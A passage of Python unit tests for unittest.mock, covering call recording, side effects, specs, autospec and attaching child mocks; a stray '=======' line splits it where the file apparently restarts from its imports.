(), {})] self.assertEqual(mock.mock_calls, expected) self.assertEqual(mock.a().mock_calls, [call()]) mock = MagicMock(**kwargs) mock(1)(2)(3) self.assertEqual(mock.mock_calls, call(1)(2)(3).call_list()) self.assertEqual(mock().mock_calls, call(2)(3).call_list()) self.assertEqual(mock()().mock_calls, call(3).call_list()) mock = MagicMock(**kwargs) mock(1)(2)(3).a.b.c(4) self.assertEqual(mock.mock_calls, call(1)(2)(3).a.b.c(4).call_list()) self.assertEqual(mock().mock_calls, call(2)(3).a.b.c(4).call_list()) self.assertEqual(mock()().mock_calls, call(3).a.b.c(4).call_list()) mock = MagicMock(**kwargs) int(mock().foo.bar().baz()) last_call = ('().foo.bar().baz().__int__', (), {}) self.assertEqual(mock.mock_calls[-1], last_call) self.assertEqual(mock().mock_calls, call.foo.bar().baz().__int__().call_list()) self.assertEqual(mock().foo.bar().mock_calls, call.baz().__int__().call_list()) self.assertEqual(mock().foo.bar().baz.mock_calls, call().__int__().call_list()) def test_subclassing(self): class Subclass(Mock): pass mock = Subclass() self.assertIsInstance(mock.foo, Subclass) self.assertIsInstance(mock(), Subclass) class Subclass(Mock): def _get_child_mock(self, **kwargs): return Mock(**kwargs) mock = Subclass() self.assertNotIsInstance(mock.foo, Subclass) self.assertNotIsInstance(mock(), Subclass) def test_arg_lists(self): mocks = [ Mock(), MagicMock(), NonCallableMock(), NonCallableMagicMock() ] def assert_attrs(mock): names = 'call_args_list', 'method_calls', 'mock_calls' for name in names: attr = getattr(mock, name) self.assertIsInstance(attr, _CallList) self.assertIsInstance(attr, list) self.assertEqual(attr, []) for mock in mocks: assert_attrs(mock) if callable(mock): mock() mock(1, 2) mock(a=3) mock.reset_mock() assert_attrs(mock) mock.foo() mock.foo.bar(1, a=3) mock.foo(1).bar().baz(3) mock.reset_mock() assert_attrs(mock) def test_call_args_two_tuple(self): mock = Mock() mock(1, a=3) mock(2, b=4) self.assertEqual(len(mock.call_args), 2) args, kwargs = mock.call_args self.assertEqual(args, (2,)) self.assertEqual(kwargs, dict(b=4)) expected_list = [((1,), dict(a=3)), ((2,), dict(b=4))] for expected, call_args in zip(expected_list, mock.call_args_list): self.assertEqual(len(call_args), 2) self.assertEqual(expected[0], call_args[0]) self.assertEqual(expected[1], call_args[1]) def test_side_effect_iterator(self): mock = Mock(side_effect=iter([1, 2, 3])) self.assertEqual([mock(), mock(), mock()], [1, 2, 3]) self.assertRaises(StopIteration, mock) mock = MagicMock(side_effect=['a', 'b', 'c']) self.assertEqual([mock(), mock(), mock()], ['a', 'b', 'c']) self.assertRaises(StopIteration, mock) mock = Mock(side_effect='ghi') self.assertEqual([mock(), mock(), mock()], ['g', 'h', 'i']) self.assertRaises(StopIteration, mock) class Foo(object): pass mock = MagicMock(side_effect=Foo) self.assertIsInstance(mock(), Foo) mock = Mock(side_effect=Iter()) self.assertEqual([mock(), mock(), mock(), mock()], ['this', 'is', 'an', 'iter']) self.assertRaises(StopIteration, mock) def test_side_effect_iterator_exceptions(self): for Klass in Mock, MagicMock: iterable = (ValueError, 3, KeyError, 6) m = Klass(side_effect=iterable) self.assertRaises(ValueError, m) self.assertEqual(m(), 3) self.assertRaises(KeyError, m) self.assertEqual(m(), 6) def test_side_effect_setting_iterator(self): mock = Mock() mock.side_effect = iter([1, 2, 3]) self.assertEqual([mock(), mock(), mock()], [1, 2, 3]) self.assertRaises(StopIteration, mock) side_effect = mock.side_effect self.assertIsInstance(side_effect, type(iter([]))) mock.side_effect = ['a', 'b', 'c'] self.assertEqual([mock(), mock(), mock()], ['a', 'b', 'c']) self.assertRaises(StopIteration, mock) side_effect = mock.side_effect self.assertIsInstance(side_effect, type(iter([]))) this_iter = Iter() mock.side_effect = this_iter self.assertEqual([mock(), mock(), mock(), mock()], ['this', 'is', 'an', 'iter']) self.assertRaises(StopIteration, mock) self.assertIs(mock.side_effect, this_iter) def test_side_effect_iterator_default(self): mock = Mock(return_value=2) mock.side_effect = iter([1, DEFAULT]) self.assertEqual([mock(), mock()], [1, 2]) def test_assert_has_calls_any_order(self): mock = Mock() mock(1, 2) mock(a=3) mock(3, 4) mock(b=6) mock(b=6) kalls = [ call(1, 2), ({'a': 3},), ((3, 4),), ((), {'a': 3}), ('', (1, 2)), ('', {'a': 3}), ('', (1, 2), {}), ('', (), {'a': 3}) ] for kall in kalls: mock.assert_has_calls([kall], any_order=True) for kall in call(1, '2'), call(b=3), call(), 3, None, 'foo': self.assertRaises( AssertionError, mock.assert_has_calls, [kall], any_order=True ) kall_lists = [ [call(1, 2), call(b=6)], [call(3, 4), call(1, 2)], [call(b=6), call(b=6)], ] for kall_list in kall_lists: mock.assert_has_calls(kall_list, any_order=True) kall_lists = [ [call(b=6), call(b=6), call(b=6)], [call(1, 2), call(1, 2)], [call(3, 4), call(1, 2), call(5, 7)], [call(b=6), call(3, 4), call(b=6), call(1, 2), call(b=6)], ] for kall_list in kall_lists: self.assertRaises( AssertionError, mock.assert_has_calls, kall_list, any_order=True ) def test_assert_has_calls(self): kalls1 = [ call(1, 2), ({'a': 3},), ((3, 4),), call(b=6), ('', (1,), {'b': 6}), ] kalls2 = [call.foo(), call.bar(1)] kalls2.extend(call.spam().baz(a=3).call_list()) kalls2.extend(call.bam(set(), foo={}).fish([1]).call_list()) mocks = [] for mock in Mock(), MagicMock(): mock(1, 2) mock(a=3) mock(3, 4) mock(b=6) mock(1, b=6) mocks.append((mock, kalls1)) mock = Mock() mock.foo() mock.bar(1) mock.spam().baz(a=3) mock.bam(set(), foo={}).fish([1]) mocks.append((mock, kalls2)) for mock, kalls in mocks: for i in range(len(kalls)): for step in 1, 2, 3: these = kalls[i:i+step] mock.assert_has_calls(these) if len(these) > 1: self.assertRaises( AssertionError, mock.assert_has_calls, list(reversed(these)) ) def test_assert_has_calls_with_function_spec(self): def f(a, b, c, d=None): pass mock = Mock(spec=f) mock(1, b=2, c=3) mock(4, 5, c=6, d=7) mock(10, 11, c=12) calls = [ ('', (1, 2, 3), {}), ('', (4, 5, 6), {'d': 7}), ((10, 11, 12), {}), ] mock.assert_has_calls(calls) mock.assert_has_calls(calls, any_order=True) mock.assert_has_calls(calls[1:]) mock.assert_has_calls(calls[1:], any_order=True) mock.assert_has_calls(calls[:-1]) mock.assert_has_calls(calls[:-1], any_order=True) # Reversed order calls = list(reversed(calls)) with self.assertRaises(AssertionError): mock.assert_has_calls(calls) mock.assert_has_calls(calls, any_order=True) with self.assertRaises(AssertionError): mock.assert_has_calls(calls[1:]) mock.assert_has_calls(calls[1:], any_order=True) with self.assertRaises(AssertionError): mock.assert_has_calls(calls[:-1]) mock.assert_has_calls(calls[:-1], any_order=True) def test_assert_any_call(self): mock = Mock() mock(1, 2) mock(a=3) mock(1, b=6) mock.assert_any_call(1, 2) mock.assert_any_call(a=3) mock.assert_any_call(1, b=6) self.assertRaises( AssertionError, mock.assert_any_call ) self.assertRaises( AssertionError, mock.assert_any_call, 1, 3 ) self.assertRaises( AssertionError, mock.assert_any_call, a=4 ) def test_assert_any_call_with_function_spec(self): def f(a, b, c, d=None): pass mock = Mock(spec=f) mock(1, b=2, c=3) mock(4, 5, c=6, d=7) mock.assert_any_call(1, 2, 3) mock.assert_any_call(a=1, b=2, c=3) mock.assert_any_call(4, 5, 6, 7) mock.assert_any_call(a=4, b=5, c=6, d=7) self.assertRaises(AssertionError, mock.assert_any_call, 1, b=3, c=2) # Expected call doesn't match the spec's signature with self.assertRaises(AssertionError) as cm: mock.assert_any_call(e=8) self.assertIsInstance(cm.exception.__cause__, TypeError) def test_mock_calls_create_autospec(self): def f(a, b): pass obj = Iter() obj.f = f funcs = [ create_autospec(f), create_autospec(obj).f ] for func in funcs: func(1, 2) func(3, 4) self.assertEqual( func.mock_calls, [call(1, 2), call(3, 4)] ) #Issue21222 def test_create_autospec_with_name(self): m = mock.create_autospec(object(), name='sweet_func') self.assertIn('sweet_func', repr(m)) def test_mock_add_spec(self): class _One(object): one = 1 class _Two(object): two = 2 class Anything(object): one = two = three = 'four' klasses = [ Mock, MagicMock, NonCallableMock, NonCallableMagicMock ] for Klass in list(klasses): klasses.append(lambda K=Klass: K(spec=Anything)) klasses.append(lambda K=Klass: K(spec_set=Anything)) for Klass in klasses: for kwargs in dict(), dict(spec_set=True): mock = Klass() #no error mock.one, mock.two, mock.three for One, Two in [(_One, _Two), (['one'], ['two'])]: for kwargs in dict(), dict(spec_set=True): mock.mock_add_spec(One, **kwargs) mock.one self.assertRaises( AttributeError, getattr, mock, 'two' ) self.assertRaises( AttributeError, getattr, mock, 'three' ) if 'spec_set' in kwargs: self.assertRaises( AttributeError, setattr, mock, 'three', None ) mock.mock_add_spec(Two, **kwargs) self.assertRaises( AttributeError, getattr, mock, 'one' ) mock.two self.assertRaises( AttributeError, getattr, mock, 'three' ) if 'spec_set' in kwargs: self.assertRaises( AttributeError, setattr, mock, 'three', None ) # note that creating a mock, setting an instance attribute, and # *then* setting a spec doesn't work. Not the intended use case def test_mock_add_spec_magic_methods(self): for Klass in MagicMock, NonCallableMagicMock: mock = Klass() int(mock) mock.mock_add_spec(object) self.assertRaises(TypeError, int, mock) mock = Klass() mock['foo'] mock.__int__.return_value =4 mock.mock_add_spec(int) self.assertEqual(int(mock), 4) self.assertRaises(TypeError, lambda: mock['foo']) def test_adding_child_mock(self): for Klass in NonCallableMock, Mock, MagicMock, NonCallableMagicMock: mock = Klass() mock.foo = Mock() mock.foo() self.assertEqual(mock.method_calls, [call.foo()]) self.assertEqual(mock.mock_calls, [call.foo()]) mock = Klass() mock.bar = Mock(name='name') mock.bar() self.assertEqual(mock.method_calls, []) self.assertEqual(mock.mock_calls, []) # mock with an existing _new_parent but no name mock = Klass() mock.baz = MagicMock()() mock.baz() self.assertEqual(mock.method_calls, []) self.assertEqual(mock.mock_calls, []) def test_adding_return_value_mock(self): for Klass in Mock, MagicMock: mock = Klass() mock.return_value = MagicMock() mock()() self.assertEqual(mock.mock_calls, [call(), call()()]) def test_manager_mock(self): class Foo(object): one = 'one' two = 'two' manager = Mock() p1 = patch.object(Foo, 'one') p2 = patch.object(Foo, 'two') mock_one = p1.start() self.addCleanup(p1.stop) mock_two = p2.start() self.addCleanup(p2.stop) manager.attach_mock(mock_one, 'one') manager.attach_mock(mock_two, 'two') Foo.two() Foo.one() self.assertEqual(manager.mock_calls, [call.two(), call.one()]) def test_magic_methods_mock_calls(self): for Klass in Mock, MagicMock: m = Klass() m.__int__ = Mock(return_value=3) m.__float__ = MagicMock(return_value=3.0) int(m) float(m) self.assertEqual(m.mock_calls, [call.__int__(), call.__float__()]) self.assertEqual(m.method_calls, []) def test_mock_parents(self): for Klass in Mock, MagicMock: m = Klass() original_repr = repr(m) m.return_value = m self.assertIs(m(), m) self.assertEqual(repr(m), original_repr) m.reset_mock() self.assertIs(m(), m) self.assertEqual(repr(m), original_repr) m = Klass() m.b = m.a self.assertIn("name='mock.a'", repr(m.b)) self.assertIn("name='mock.a'", repr(m.a)) m.reset_mock() self.assertIn("name='mock.a'", repr(m.b)) self.assertIn("name='mock.a'", repr(m.a)) m = Klass() original_repr = repr(m) m.a = m() m.a.return_value = m self.assertEqual(repr(m), original_repr) self.assertEqual(repr(m.a()), original_repr) def test_attach_mock(self): classes = Mock, MagicMock, NonCallableMagicMock, NonCallableMock for Klass in classes: for Klass2 in classes: m = Klass() m2 = Klass2(name='foo') m.attach_mock(m2, 'bar') self.assertIs(m.bar, m2) self.assertIn("name='mock.bar'", repr(m2)) m.bar.baz(1) self.assertEqual(m.mock_calls, [call.bar.baz(1)]) self.assertEqual(m.method_calls, [call.bar.baz(1)]) def test_attach_mock_return_value(self): classes = Mock, MagicMock, NonCallableMagicMock, NonCallableMock for Klass in Mock, MagicMock: for Klass2 in classes: m = Klass() m2 = Klass2(name='foo') m.attach_mock(m2, 'return_value') self.assertIs(m(), m2) self.assertIn("name='mock()'", repr(m2)) m2.foo() self.assertEqual(m.mock_calls, call().foo().call_list()) def test_attribute_deletion(self): for mock in (Mock(), MagicMock(), NonCallableMagicMock(), NonCallableMock()): self.assertTrue(hasattr(mock, 'm')) del mock.m self.assertFalse(hasattr(mock, 'm')) del mock.f self.assertFalse(hasattr(mock, 'f')) self.assertRaises(AttributeError, getattr, mock, 'f') def test_class_assignable(self): for mock in Mock(), MagicMock(): self.assertNotIsInstance(mock, int) mock.__class__ = int self.assertIsInstance(mock, int) mock.foo if __name__ == '__main__': unittest.main() ======= import copy import sys import unittest from unittest.test.testmock.support import is_instance from unittest import mock from unittest.mock import ( call, DEFAULT, patch, sentinel, MagicMock, Mock, NonCallableMock, NonCallableMagicMock, _CallList, create_autospec ) class Iter(object): def __init__(self): self.thing = iter(['this', 'is', 'an', 'iter']) def __iter__(self): return self def next(self): return next(self.thing) __next__ = next class Something(object): def meth(self, a, b, c, d=None): pass @classmethod def cmeth(cls, a, b, c, d=None): pass @staticmethod def smeth(a, b, c, d=None): pass class MockTest(unittest.TestCase): def test_all(self): # if __all__ is badly defined then import * will raise an error # We have to exec it because you can't import * inside a method # in Python 3 exec("from unittest.mock import *") def test_constructor(self): mock = Mock() self.assertFalse(mock.called, "called not initialised correctly") self.assertEqual(mock.call_count, 0, "call_count not initialised correctly") self.assertTrue(is_instance(mock.return_value, Mock), "return_value not initialised correctly") self.assertEqual(mock.call_args, None, "call_args not initialised correctly") self.assertEqual(mock.call_args_list, [], "call_args_list not initialised correctly") self.assertEqual(mock.method_calls, [], "method_calls not initialised correctly") # Can't use hasattr for this test as it always returns True on a mock self.assertNotIn('_items', mock.__dict__, "default mock should not have '_items' attribute") self.assertIsNone(mock._mock_parent, "parent not initialised correctly") self.assertIsNone(mock._mock_methods, "methods not initialised correctly") self.assertEqual(mock._mock_children, {}, "children not initialised incorrectly") def test_return_value_in_constructor(self): mock = Mock(return_value=None) self.assertIsNone(mock.return_value, "return value in constructor not honoured") def test_repr(self): mock = Mock(name='foo') self.assertIn('foo', repr(mock)) self.assertIn("'%s'" % id(mock), repr(mock)) mocks = [(Mock(), 'mock'), (Mock(name='bar'), 'bar')] for mock, name in mocks: self.assertIn('%s.bar' % name, repr(mock.bar)) self.assertIn('%s.foo()' % name, repr(mock.foo())) self.assertIn('%s.foo().bing' % name, repr(mock.foo().bing)) self.assertIn('%s()' % name, repr(mock())) self.assertIn('%s()()' % name, repr(mock()())) self.assertIn('%s()().foo.bar.baz().bing' % name, repr(mock()().foo.bar.baz().bing)) def test_repr_with_spec(self): class X(object): pass mock = Mock(spec=X) self.assertIn(" spec='X' ", repr(mock)) mock = Mock(spec=X()) self.assertIn(" spec='X' ", repr(mock)) mock = Mock(spec_set=X) self.assertIn(" spec_set='X' ", repr(mock)) mock = Mock(spec_set=X()) self.assertIn(" spec_set='X' ", repr(mock)) mock = Mock(spec=X, name='foo') self.assertIn(" spec='X' ", repr(mock)) self.assertIn(" name='foo' ", repr(mock)) mock = Mock(name='foo') self.assertNotIn("spec", repr(mock)) mock = Mock() self.assertNotIn("spec", repr(mock)) mock = Mock(spec=['foo']) self.assertNotIn("spec", repr(mock)) def test_side_effect(self): mock = Mock() def effect(*args, **kwargs): raise SystemError('kablooie') mock.side_effect = effect self.assertRaises(SystemError, mock, 1, 2, fish=3) mock.assert_called_with(1, 2, fish=3) results = [1, 2, 3] def effect(): return results.pop() mock.side_effect = effect self.assertEqual([mock(), mock(), mock()], [3, 2, 1], "side effect not used correctly") mock = Mock(side_effect=sentinel.SideEffect) self.assertEqual(mock.side_effect, sentinel.SideEffect, "side effect in constructor not used") def side_effect(): return DEFAULT mock = Mock(side_effect=side_effect, return_value=sentinel.RETURN) self.assertEqual(mock(), sentinel.RETURN) def test_autospec_side_effect(self): # Test for issue17826 results = [1, 2, 3] def effect(): return results.pop() def f(): pass mock = create_autospec(f) mock.side_effect = [1, 2, 3] self.assertEqual([mock(), mock(), mock()], [1, 2, 3], "side effect not used correctly in create_autospec") # Test where side effect is a callable results = [1, 2, 3] mock = create_autospec(f) mock.side_effect = effect self.assertEqual([mock(), mock(), mock()], [3, 2, 1], "callable side effect not used correctly") @unittest.skipUnless('java' in sys.platform, 'This test only applies to Jython') def test_java_exception_side_effect(self): import java mock = Mock(side_effect=java.lang.RuntimeException("Boom!")) # can't use assertRaises with java exceptions try: mock(1, 2, fish=3) except java.lang.RuntimeException: pass else: self.fail('java exception not raised') mock.assert_called_with(1,2, fish=3) def test_reset_mock(self): parent = Mock() spec = ["something"] mock = Mock(name="child", parent=parent, spec=spec) mock(sentinel.Something, something=sentinel.SomethingElse) something = mock.something mock.something() mock.side_effect = sentinel.SideEffect return_value = mock.return_value return_value() mock.reset_mock() self.assertEqual(mock._mock_name, "child", "name incorrectly reset") self.assertEqual(mock._mock_parent, parent, "parent incorrectly reset") self.assertEqual(mock._mock_methods, spec, "methods incorrectly reset") self.assertFalse(mock.called, "called not reset") self.assertEqual(mock.call_count, 0, "call_count not reset") self.assertEqual(mock.call_args, None, "call_args not reset") self.assertEqual(mock.call_args_list, [], "call_args_list not reset") self.assertEqual(mock.method_calls, [], "method_calls not initialised correctly: %r != %r" % (mock.method_calls, [])) self.assertEqual(mock.mock_calls, []) self.assertEqual(mock.side_effect, sentinel.SideEffect, "side_effect incorrectly reset") self.assertEqual(mock.return_value, return_value, "return_value incorrectly reset") self.assertFalse(return_value.called, "return value mock not reset") self.assertEqual(mock._mock_children, {'something': something}, "children reset incorrectly") self.assertEqual(mock.something, something, "children incorrectly cleared") self.assertFalse(mock.something.called, "child not reset") def test_reset_mock_recursion(self): mock = Mock() mock.return_value = mock # used to cause recursion mock.reset_mock() def test_call(self): mock = Mock() self.assertTrue(is_instance(mock.return_value, Mock), "Default return_value should be a Mock") result = mock() self.assertEqual(mock(), result, "different result from consecutive calls") mock.reset_mock() ret_val = mock(sentinel.Arg) self.assertTrue(mock.called, "called not set") self.assertEqual(mock.call_count, 1, "call_count incoreect") self.assertEqual(mock.call_args, ((sentinel.Arg,), {}), "call_args not set") self.assertEqual(mock.call_args_list, [((sentinel.Arg,), {})], "call_args_list not initialised correctly") mock.return_value = sentinel.ReturnValue ret_val = mock(sentinel.Arg, key=sentinel.KeyArg) self.assertEqual(ret_val, sentinel.ReturnValue, "incorrect return value") self.assertEqual(mock.call_count, 2, "call_count incorrect") self.assertEqual(mock.call_args, ((sentinel.Arg,), {'key': sentinel.KeyArg}), "call_args not set") self.assertEqual(mock.call_args_list, [ ((sentinel.Arg,), {}), ((sentinel.Arg,), {'key': sentinel.KeyArg}) ], "call_args_list not set") def test_call_args_comparison(self): mock = Mock() mock() mock(sentinel.Arg) mock(kw=sentinel.Kwarg) mock(sentinel.Arg, kw=sentinel.Kwarg) self.assertEqual(mock.call_args_list, [ (), ((sentinel.Arg,),), ({"kw": sentinel.Kwarg},), ((sentinel.Arg,), {"kw": sentinel.Kwarg}) ]) self.assertEqual(mock.call_args, ((sentinel.Arg,), {"kw": sentinel.Kwarg})) def test_assert_called_with(self): mock = Mock() mock() # Will raise an exception if it fails mock.assert_called_with() self.assertRaises(AssertionError, mock.assert_called_with, 1) mock.reset_mock() self.assertRaises(AssertionError, mock.assert_called_with) mock(1, 2, 3, a='fish', b='nothing') mock.assert_called_with(1, 2, 3, a='fish', b='nothing') def test_assert_called_with_function_spec(self): def f(a, b, c, d=None): pass mock = Mock(spec=f) mock(1, b=2, c=3) mock.assert_called_with(1, 2, 3) mock.assert_called_with(a=1, b=2, c=3) self.assertRaises(AssertionError, mock.assert_called_with, 1, b=3, c=2) # Expected call doesn't match the spec's signature with self.assertRaises(AssertionError) as cm: mock.assert_called_with(e=8) self.assertIsInstance(cm.exception.__cause__, TypeError) def test_assert_called_with_method_spec(self): def _check(mock): mock(1, b=2, c=3) mock.assert_called_with(1, 2, 3) mock.assert_called_with(a=1, b=2, c=3) self.assertRaises(AssertionError, mock.assert_called_with, 1, b=3, c=2) mock = Mock(spec=Something().meth) _check(mock) mock = Mock(spec=Something.cmeth) _check(mock) mock = Mock(spec=Something().cmeth) _check(mock) mock = Mock(spec=Something.smeth) _check(mock) mock = Mock(spec=Something().smeth) _check(mock) def test_assert_called_once_with(self): mock = Mock() mock() # Will raise an exception if it fails mock.assert_called_once_with() mock() self.assertRaises(AssertionError, mock.assert_called_once_with) mock.reset_mock() self.assertRaises(AssertionError, mock.assert_called_once_with) mock('foo', 'bar', baz=2) mock.assert_called_once_with('foo', 'bar', baz=2) mock.reset_mock() mock('foo', 'bar', baz=2) self.assertRaises( AssertionError, lambda: mock.assert_called_once_with('bob', 'bar', baz=2) ) def test_assert_called_once_with_function_spec(self): def f(a, b, c, d=None): pass mock = Mock(spec=f) mock(1, b=2, c=3) mock.assert_called_once_with(1, 2, 3) mock.assert_called_once_with(a=1, b=2, c=3) self.assertRaises(AssertionError, mock.assert_called_once_with, 1, b=3, c=2) # Expected call doesn't match the spec's signature with self.assertRaises(AssertionError) as cm: mock.assert_called_once_with(e=8) self.assertIsInstance(cm.exception.__cause__, TypeError) # Mock called more than once => always fails mock(4, 5, 6) self.assertRaises(AssertionError, mock.assert_called_once_with, 1, 2, 3) self.assertRaises(AssertionError, mock.assert_called_once_with, 4, 5, 6) def test_attribute_access_returns_mocks(self): mock = Mock() something = mock.something self.assertTrue(is_instance(something, Mock), "attribute isn't a mock") self.assertEqual(mock.something, something, "different attributes returned for same name") # Usage example mock = Mock() mock.something.return_value = 3 self.assertEqual(mock.something(), 3, "method returned wrong value") self.assertTrue(mock.something.called, "method didn't record being called") def test_attributes_have_name_and_parent_set(self): mock = Mock() something = mock.something self.assertEqual(something._mock_name, "something", "attribute name not set correctly") self.assertEqual(something._mock_parent, mock, "attribute parent not set correctly") def test_method_calls_recorded(self): mock = Mock() mock.something(3, fish=None) mock.something_else.something(6, cake=sentinel.Cake) self.assertEqual(mock.something_else.method_calls, [("something", (6,), {'cake': sentinel.Cake})], "method calls not recorded correctly") self.assertEqual(mock.method_calls, [ ("something", (3,), {'fish': None}), ("something_else.something", (6,), {'cake': sentinel.Cake}) ], "method calls not recorded correctly") def test_method_calls_compare_easily(self): mock = Mock() mock.something() self.assertEqual(mock.method_calls, [('something',)]) self.assertEqual(mock.method_calls, [('something', (), {})]) mock = Mock() mock.something('different') self.assertEqual(mock.method_calls, [('something', ('different',))]) self.assertEqual(mock.method_calls, [('something', ('different',), {})]) mock = Mock() mock.something(x=1) self.assertEqual(mock.method_calls, [('something', {'x': 1})]) self.assertEqual(mock.method_calls, [('something', (), {'x': 1})]) mock = Mock() mock.something('different', some='more') self.assertEqual(mock.method_calls, [ ('something', ('different',), {'some': 'more'}) ]) def test_only_allowed_methods_exist(self): for spec in ['something'], ('something',): for arg in 'spec', 'spec_set': mock = Mock(**{arg: spec}) # this should be allowed mock.something self.assertRaisesRegex( AttributeError, "Mock object has no attribute 'something_else'", getattr, mock, 'something_else' ) def test_from_spec(self): class Something(object): x = 3 __something__ = None def y(self): pass def test_attributes(mock): # should work mock.x mock.y mock.__something__ self.assertRaisesRegex( AttributeError, "Mock object has no attribute 'z'", getattr, mock, 'z' ) self.assertRaisesRegex( AttributeError, "Mock object has no attribute '__foobar__'", getattr, mock, '__foobar__' ) test_attributes(Mock(spec=Something)) test_attributes(Mock(spec=Something())) def test_wraps_calls(self): real = Mock() mock = Mock(wraps=real) self.assertEqual(mock(), real()) real.reset_mock() mock(1, 2, fish=3) real.assert_called_with(1, 2, fish=3) def test_wraps_call_with_nondefault_return_value(self): real = Mock() mock = Mock(wraps=real) mock.return_value = 3 self.assertEqual(mock(), 3) self.assertFalse(real.called) def test_wraps_attributes(self): class Real(object): attribute = Mock() real = Real() mock = Mock(wraps=real) self.assertEqual(mock.attribute(), real.attribute()) self.assertRaises(AttributeError, lambda: mock.fish) self.assertNotEqual(mock.attribute, real.attribute) result = mock.attribute.frog(1, 2, fish=3) Real.attribute.frog.assert_called_with(1, 2, fish=3) self.assertEqual(result, Real.attribute.frog()) def test_exceptional_side_effect(self): mock = Mock(side_effect=AttributeError) self.assertRaises(AttributeError, mock) mock = Mock(side_effect=AttributeError('foo')) self.assertRaises(AttributeError, mock) def test_baseexceptional_side_effect(self): mock = Mock(side_effect=KeyboardInterrupt) self.assertRaises(KeyboardInterrupt, mock) mock = Mock(side_effect=KeyboardInterrupt('foo')) self.assertRaises(KeyboardInterrupt, mock) def test_assert_called_with_message(self): mock = Mock() self.assertRaisesRegex(AssertionError, 'Not called', mock.assert_called_with) def test_assert_called_once_with_message(self): mock = Mock(name='geoffrey') self.assertRaisesRegex(AssertionError, r"Expected 'geoffrey' to be called once\.", mock.assert_called_once_with) def test__name__(self): mock = Mock() self.assertRaises(AttributeError, lambda: mock.__name__) mock.__name__ = 'foo' self.assertEqual(mock.__name__, 'foo') def test_spec_list_subclass(self): class Sub(list): pass mock = Mock(spec=Sub(['foo'])) mock.append(3) mock.append.assert_called_with(3) self.assertRaises(AttributeError, getattr, mock, 'foo') def test_spec_class(self): class X(object): pass mock = Mock(spec=X) self.assertIsInstance(mock, X) mock = Mock(spec=X()) self.assertIsInstance(mock, X) self.assertIs(mock.__class__, X) self.assertEqual(Mock().__class__.__name__, 'Mock') mock = Mock(spec_set=X) self.assertIsInstance(mock, X) mock = Mock(spec_set=X()) self.assertIsInstance(mock, X) def test_setting_attribute_with_spec_set(self): class X(object): y = 3 mock = Mock(spec=X) mock.x = 'foo' mock = Mock(spec_set=X) def set_attr(): mock.x = 'foo' mock.y = 'foo' self.assertRaises(AttributeError, set_attr) def test_copy(self): current = sys.getrecursionlimit() self.addCleanup(sys.setrecursionlimit, current) # can't use sys.maxint as this doesn't exist in Python 3 sys.setrecursionlimit(int(10e8)) # this segfaults without the fix in place copy.copy(Mock()) def test_subclass_with_properties(self): class SubClass(Mock): def _get(self): return 3 def _set(self, value): raise NameError('strange error') some_attribute = property(_get, _set) s = SubClass(spec_set=SubClass) self.assertEqual(s.some_attribute, 3) def test(): s.some_attribute = 3 self.assertRaises(NameError, test) def test(): s.foo = 'bar' self.assertRaises(AttributeError, test) def test_setting_call(self): mock = Mock() def __call__(self, a): return self._mock_call(a) type(mock).__call__ = __call__ mock('one') mock.assert_called_with('one') self.assertRaises(TypeError, mock, 'one', 'two') def test_dir(self): mock = Mock() attrs = set(dir(mock)) type_attrs = set([m for m in dir(Mock) if not m.startswith('_')]) # all public attributes from the type are included self.assertEqual(set(), type_attrs - attrs) # creates these attributes mock.a, mock.b self.assertIn('a', dir(mock)) self.assertIn('b', dir(mock)) # instance attributes mock.c = mock.d = None self.assertIn('c', dir(mock)) self.assertIn('d', dir(mock)) # magic methods mock.__iter__ = lambda s: iter([]) self.assertIn('__iter__', dir(mock)) def test_dir_from_spec(self): mock = Mock(spec=unittest.TestCase) testcase_attrs = set(dir(unittest.TestCase)) attrs = set(dir(mock)) # all attributes from the spec are included self.assertEqual(set(), testcase_attrs - attrs) # shadow a sys attribute mock.version = 3 self.assertEqual(dir(mock).count('version'), 1) def test_filter_dir(self): patcher = patch.object(mock, 'FILTER_DIR', False) patcher.start() try: attrs = set(dir(Mock())) type_attrs = set(dir(Mock)) # ALL attributes from the type are included self.assertEqual(set(), type_attrs - attrs) finally: patcher.stop() def test_configure_mock(self): mock = Mock(foo='bar') self.assertEqual(mock.foo, 'bar') mock = MagicMock(foo='bar') self.assertEqual(mock.foo, 'bar') kwargs = {'side_effect': KeyError, 'foo.bar.return_value': 33, 'foo': MagicMock()} mock = Mock(**kwargs) self.assertRaises(KeyError, mock) self.assertEqual(mock.foo.bar(), 33) self.assertIsInstance(mock.foo, MagicMock) mock = Mock() mock.configure_mock(**kwargs) self.assertRaises(KeyError, mock) self.assertEqual(mock.foo.bar(), 33) self.assertIsInstance(mock.foo, MagicMock) def assertRaisesWithMsg(self, exception, message, func, *args, **kwargs): # needed because assertRaisesRegex doesn't work easily with newlines try: func(*args, **kwargs) except: instance = sys.exc_info()[1] self.assertIsInstance(instance, exception) else: self.fail('Exception %r not raised' % (exception,)) msg = str(instance) self.assertEqual(msg, message) def test_assert_called_with_failure_message(self): mock = NonCallableMock() expected = "mock(1, '2', 3, bar='foo')" message = 'Expected call: %s\nNot called' self.assertRaisesWithMsg( AssertionError, message % (expected,), mock.assert_called_with, 1, '2', 3, bar='foo' ) mock.foo(1, '2', 3, foo='foo') asserters = [ mock.foo.assert_called_with, mock.foo.assert_called_once_with ] for meth in asserters: actual = "foo(1, '2', 3, foo='foo')" expected = "foo(1, '2', 3, bar='foo')" message = 'Expected call: %s\nActual call: %s' self.assertRaisesWithMsg( AssertionError, message % (expected, actual), meth, 1, '2', 3, bar='foo' ) # just kwargs for meth in asserters: actual = "foo(1, '2', 3, foo='foo')" expected = "foo(bar='foo')" message = 'Expected call: %s\nActual call: %s' self.assertRaisesWithMsg( AssertionError, message % (expected, actual), meth, bar='foo' ) # just args for meth in asserters: actual = "foo(1, '2', 3, foo='foo')" expected = "foo(1, 2, 3)" message = 'Expected call: %s\nActual call: %s' self.assertRaisesWithMsg( AssertionError, message % (expected, actual), meth, 1, 2, 3 ) # empty for meth in asserters: actual = "foo(1, '2', 3, foo='foo')" expected = "foo()" message = 'Expected call: %s\nActual call: %s' self.assertRaisesWithMsg( AssertionError, message % (expected, actual), meth ) def test_mock_calls(self): mock = MagicMock() # need to do this because MagicMock.mock_calls used to just return # a MagicMock which also returned a MagicMock when __eq__ was called self.assertIs(mock.mock_calls == [], True) mock = MagicMock() mock() expected = [('', (), {})] self.assertEqual(mock.mock_calls, expected) mock.foo() expected.append(call.foo()) self.assertEqual(mock.mock_calls, expected) # intermediate mock_calls work too self.assertEqual(mock.foo.mock_calls, [('', (), {})]) mock = MagicMock() mock().foo(1, 2, 3, a=4, b=5) expected = [ ('', (), {}), ('().foo', (1, 2, 3), dict(a=4, b=5)) ] 